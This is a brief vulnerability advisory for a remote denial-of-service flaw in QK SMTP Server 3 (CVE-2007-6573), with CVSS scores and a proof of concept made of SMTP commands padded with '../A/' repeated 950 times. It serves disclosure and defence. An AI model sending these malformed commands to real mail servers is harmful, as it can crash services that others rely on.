QK SMTP Server 3 - Denial of service

2007.12.28

Credit: Juan Pablo Lopez Yacubian

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2007-6573

CWE: CWE-20

CVSS Base Score: 7.8/10

Impact Subscore: 6.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Complete

Apparently this SMTP server crashes when creating a mail poorly trained causing a denial of service.
Proof-of-concept
HELO ../A/ * 950
MAIL FROM: ../A/ * 950
RCPT TO: ../A/ * 950
data
../A/ * 950
.
Juan Pablo Lopez Yacubian
http://fuzzertina.blogspot.com/

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QK SMTP Server 3 - Denial of service

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